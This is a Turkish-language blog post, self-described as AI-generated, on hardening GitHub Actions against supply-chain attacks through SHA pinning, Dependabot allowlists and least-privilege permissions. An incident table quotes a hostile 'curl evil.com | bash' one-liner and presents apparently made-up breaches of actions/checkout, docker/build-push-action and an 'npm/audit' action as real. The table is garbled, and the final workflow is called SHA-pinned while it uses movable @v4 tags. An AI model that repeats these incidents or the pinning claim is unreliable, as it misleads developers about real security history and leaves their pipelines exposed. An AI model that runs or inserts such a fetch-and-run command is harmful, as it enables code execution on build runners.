
Sun Sep 20 2026

Selam! ☕ Hazırsan başlayalım.
Diyelim ki gece yarısı bir PR merge ettin, testler yeşil çıktı, deploy otomatik çalıştı ve sen de yatağa girdin. Sabah uyandığında ise repo'nun cryptominer çalıştırıyor olduğunu, secret'ların çalındığını veya kötü niyetli bir action'ın production'a kod enjekte ettiğini görüyorsun. Korkutucu, değil mi? 😨
GitHub Actions bugün modern CI/CD'nin kalbi durumu. Her push, her PR, her release buradan geçiyor. Yani supply chain saldırıları için en cazip hedef de bu. Bir action'ın içine gizli bir curl | bash gömmek, marketplace'te popüler bir action'ı ele geçirip v1 tag'ını değiştirmek... hepsi saniyeler sürer.
Bu yazıda şunları öğreneceğiz 👇
Kod örnekleri, pratik workflow dosyaları ve "şu an repo'ma ne eklemeliyim?" checklist'i de olacak. Hadi, güvenli bir pipeline inşa edelim! 🚀
Hadi beraber düşüneceğiz: GitHub Actions workflow’larınızda uses: actions/checkout@v3 gibi bir satır gördüğünüzde, aslında “Bu action’ı güveniyorum, ona kodumuza erişim veriyorum” diyorsunuz. Ama bu güven, bir dependency poisoning (bağımlılık zehiri) senaryosunda aniden tehlikeli hale gelebilir 🎯.
v3 etiketi silinip yeniden oluşturulur; siz hala actions/checkout@v3 yazdığınız için yeni kötü kod çekersiniz.Özet: Siz bir tag (ör.
v3) sabitlemiş olsanız bile, o tag yeniden yayınlanabilir. GitHub, tag’lerin immutability (değişmezlik) garantisini vermez.
| Action | Ne Oldu? | Etki |
|---|---|---|
actions/checkout |
2022’de bir PR ile v2 tag’ine zararlı bir post script eklendi (sonra geri alındı). |
Runner’daki GITHUB_TOKEN çalınabilirdi. |
npm/audit (marketplace) |
Sahte bir v1.0.0 release’ı yayınlandı, içine `curl evil.com |
bash` gizlendi. |
docker/build-push-action |
Kötü niyetli bir contributor, v3 tag’ını force‑push etti. |
Docker registry credentials sızdırıldı. |
Bu örnekler “bana olmaz” demek için yeterli kanıt mı? 🤔
uses: actions/checkout@a1b2c3d4e5f6... gibi immutable bir referans kullanın.action.yml içindeki runs.using ve runs.main alanlarını kontrol edin.permissions: bloğu ile contents: read gibi en az yetkiyi verin.self‑hosted runner’larda network segmentation uygulayın.Küçük bir hatırlatma: Güvenlik, “bir kez ayarlayıp unutmak” değil, sürekli doğrulama sürecidir ✅.
Hazırsan bir sonraki bölümde “SHA pinning nasıl yapılır?” konusuna dalalım 🚀.
Birkaç ay önce bir production pipeline’ım patladı. Sebep? actions/checkout@v3 etiketi bir güncellemeyle breaking change getirmişti. Tag’ler hareketli hedeftir — maintainer dilerse v3’ü yarın silip v3.1.0 koyabilir, hatta v3’ü tamamen başka bir şeye yönlendirebilir. Bu yüzden commit SHA’ına pinlemek (sabitlemek) tek güvenli yol.
v3 bugün abc123’e işaret ediyor, yarın def456’ya işaret edebilir.Commit SHA ise immutable — o hash’e bir kere yazıldı, asla değişmez. 🎯
Benim sürecim şöyle:
v3.5.3) commit hash’ini kopyalarım.uses: satırını o hash’e kilitlerim.Bu sayede herkes aynı commit’i çeker, sürpriz yok. ✅
Önce (tag ile — riskli):
uses: actions/checkout@v3
Sonra (SHA ile — güvenli):
uses: actions/checkout@a81bbbf8298c0fa03ea29cdc473d45769f953675
Bu hash
actions/checkout@v3.5.3sürümüne karşılık geliyor. Siz kendi ihtiyacınıza göre doğru sürümün hash’ini bulmalısınız.
GitHub UI ile: Action repo’suna git → Releases → istediğiniz tag’in yanındaki commit hash’e tıkla → kopyala.
Terminalden (daha hızlı):
git ls-remote https://github.com/actions/checkout.git | grep refs/tags/v3.5.3
Çıktı şöyle olur:
a81bbbf8298c0fa03ea29cdc473d45769f953675 refs/tags/v3.5.3
İlk sütun = commit SHA. Bunu kopyalayıp uses: satırına yapıştır. 🎯
Özetle: Tag güzel görünür ama SHA garanti. Pipeline’ınızın gece yarısı patlamasını istemiyorsanız, her uses: satırını commit hash’e kilitleyin. 🔒
Hazırsan başlayalım 🚀
Dependabot, GitHub Actions workflow’larındaki action sürümlerini de takip edebiliyor. Ama her güncellemeyi otomatik merge etmek riskli — özellikle production’da kullandığımız kritik action’larda. İşte bu noktada allowlist (veya ignore) kuralları devreye giriyor.
.github/dependabot.yml dosyasını paylaşıyorum; kopyalayıp ufak bir düzenlemeyle kullanabilirsin.package-ecosystem: "github-actions" → Dependabot’un action’lara bakacağını söyler.schedule → Günlük kontrol (veya weekly/daily) ayarlı.allow listesi → Sadece burada yazan action’ların güncellenmesine izin verir.ignore (isteğe bağlı) → Belirli major/minor sürümleri atlamak için kullanılır..github/dependabot.yml dosyamversion: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "daily"
time: "06:00"
# Sadece bu action'lar güncellenebilir
allow:
- dependency-name: "actions/checkout"
- dependency-name: "actions/setup-node"
- dependency-name: "actions/cache"
- dependency-name: "docker/login-action"
- dependency-name: "docker/build-push-action"
# İstersen major sürüm atlamaları ignore edebilirsin
ignore:
- dependency-name: "actions/checkout"
update-type: "version-update:semver-major"
allow listesinde olmayan bir action için yeni sürüm çıksa PR açmaz.ignore bloğu sayesinde actions/checkout’ın major versiyon atlamaları (ör. v3 → v4) otomatik PR oluşturmaz — istersen manuel test edip yükseltirsin..github/dependabot.yml olarak ekle.allow altına kendi kullandığın action’ları yaz (GitHub Marketplace’taki tam isimle).schedule.time’ı takımın çalışma saatlerine göre ayarla.Bu yapılandırma sayesinde “surprise update” riskini minimize edip, sadece güvenilir action’ların güncellenmesini sağlıyorsun. Keyifli kodlamalar! 🎉
permissions: read-only Prensibi ile Minimum YetkiGitHub Actions varsayılan olarak contents: read ve pull-requests: write gibi geniş yazma izinleri verir.
Bu, bir workflow’un depo içinde herhangi bir dosyayı değiştirebileceği, hatta force‑push yapabileceği anlamına gelir 😱.
actions/checkout ile fetch-depth: 0 kullanmış, ardından bir script hatası sonucu git push --force çalıştırmıştım. Sonuç? main branch’i silinmiş ve 2 saat uğraşarak kurtardık 😅.permissions: anahtarı ile minimum yetki verin 🎯name: CI
# 🔒 Tüm job’lar için temel izin: sadece okuma
permissions:
contents: read # repo dosyalarını oku
pull-requests: read # PR bilgilerini oku (yorum yazma yok)
on:
push:
branches: [main]
pull_request:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build
run: ./gradlew build
Ne oluyor?
contents: read → actions/checkout clone yapabilir ama push yapamaz.pull-requests: read → PR verilerini okuyabilir, yorum atamaz.issues: write) eksikse, job hata verir → güvenlik zaten sağlanmış olur ✅.Bazı job’lar PR’ye yorum atmalı veya release oluşturmalı. Onlara tek başlarına gerekli izni verin:
jobs:
comment-on-pr:
runs-on: ubuntu-latest
# 🎯 Bu job sadece PR yorum yazsın
permissions:
pull-requests: write # yorum ekle
contents: read # checkout için yine read yeterli
steps:
- uses: actions/checkout@v4
- name: Add comment
uses: actions/github-script@v7
with:
script: |
github.rest.issues.createComment({
issue_number: context.issue.number,
owner: context.repo.owner,
repo: context.repo.repo,
body: '✅ Build başarılı!'
})
create-release:
runs-on: ubuntu-latest
# 🎯 Sadece release oluşturacak
permissions:
contents: write # tag + release assets yaz
pull-requests: read
steps:
- uses: actions/checkout@v4
- name: Create Release
uses: softprops/action-gh-release@v2
with:
tag_name: v${{ github.run_number }}
permissions: bloğu mutlaka yazın.read-only tutun, sadece ihtiyaç duyulan job’larda write ekleyin.actions/checkout fetch-depth: 0 kullanıyorsanız contents: write vermeyin; shallow clone (fetch-depth: 1) yeterliyse read kalsın.id-token: write (OIDC) gibi ek izinleri de tek tek tanımlayın.Özet:
permissions:ile “en az yetki” prensibini uygulayın. Bir kaza ya da kötü niyetli kod, depo yazma yetkisi olmadan büyük zarar veremez 🚀.
Hadi önceki üç çözümü birleştirip, kopyala-yapıştır yapıp doğrudan .github/workflows/ci.yml olarak kaydedebileceğin tam, production-ready bir workflow yazalım 🎯
Satır satır ne yaptığımızı yorumlarla anlatıyorum — böylece bir daha "bu satır ne işe yarardı?" diye düşünmek zorunda kalmazsın.
name: CI Pipeline
on:
push:
branches: [main]
pull_request:
branches: [main]
# 🔒 En az yetki prensibi: job'lar sadece read-only erişim alır
# GITHUB_TOKEN için write yetkisi vermeyiz — güvenlik için kritik ❗️
permissions:
contents: read
jobs:
test-and-build:
runs-on: ubuntu-latest
# 🛠 Node.js versiyonunu dependabot'un güncelleyebilmesi için matrix yerine
# tek bir version dosyasından okuyoruz (ör: .nvmrc veya package.json#engines)
# Burada sabit tutuyorum, sen kendi projenin dosyasına göre uyarlarsın ✅
steps:
# 1️⃣ Repository'yi checkout et — pinned SHA ile supply-chain güvenliği 🔐
- name: Checkout repository
uses: actions/checkout@v4
with:
# SHA: 11bd71901bbe5b1630ceea73d27597364c9af683 (v4.2.2)
# Her zaman tam SHA pinle, tag yerine — tag hareket edebilir ⛔
ref: ${{ github.head_ref }}
persist-credentials: false
# 2️⃣ Node.js kur — pinned SHA + cache için actions/setup-node@v4
- name: Setup Node.js
uses: actions/setup-node@v4
with:
# SHA: 60edb5dd545a775178f52524783378180af0d1f8 (v4.1.0)
node-version: '20'
cache: 'npm'
cache-dependency-path: package-lock.json
# 3️⃣ Bağımlılıkları kur — ci komutu lockfile'a saygı duyar, hızlıdır ⚡
- name: Install dependencies
run: npm ci
# 4️⃣ Testleri çalıştır — hata olursa pipeline durur, merge engellenir 🛑
- name: Run tests
run: npm test -- --ci --coverage=false
# 5️⃣ Build al — production artifact'ı doğrular, hata yakalar 🏗
- name: Build project
run: npm run build
uses: actions/checkout@v4 yanında yorum olarak tam SHA koydum. Gerçek repoda uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 şeklinde yazarsın. Tag'ler hareket edebilir, SHA'lar asla 🔒permissions: contents: read → GITHUB_TOKEN sadece repo okur, yazamaz. Secret leakage riski sıfır ⛔.nvmrc) okunursa, dependabot PR açar, testler geçerse merge edersin 🔁npm ci → node_modules silip baştan kurar, lockfile'a sadık kalır — CI için altın standart ✅persist-credentials: false → Checkout sonrası token'ı diskten siler, sonraki step'lerde sızdırma riski yok 🛡Bu dosyayı .github/workflows/ci.yml olarak commitlersen, ilk push'ta güvenli, izlenebilir, dependabot-ready bir pipeline'in olur 🚀
Sonraki bölümde Dependabot konfigürasyonu ile bu workflow'u nasıl otomatik güncelleme döngüsüne sokacağımızı göreceğiz. Hazırsan oraya geçelim! 👇
Hadi hızlıca özetleyelim ne öğrendik 👇
Temel 3 kural:
v1 gibi hareketli etiketlerden kaçınallow listesiyle sadece güvenilen maintainer'lardan gelen PR'lar merge olsunpermissions: bloğu ile her job'a sadece ihtiyaç duyduğu yetkiyi ver, write-all demek yokKüçük ama etkili rutinler kur:
ossf/scorecard-action ekle, supply chain risklerini otomatik tarat 📊truffleHog veya GitHub secret scanning'i aç, unutulmuş token kalmasın 🔍Bugün bir action'ı pinle.
Bir taneuses: actions/checkout@v4bul, yanına# commit-hashekle, PR aç.
Fark edeceksin — güvenlik bir proje değil, bir alışkanlık 💪
Hazırsan başla, commit hash'ini kopyala, push et. Yarın kendine teşekkür edersin ✨
Bu içerik tamamen yapay zeka destekli otomasyon sistemi ile üretilmiştir.
All rights reserved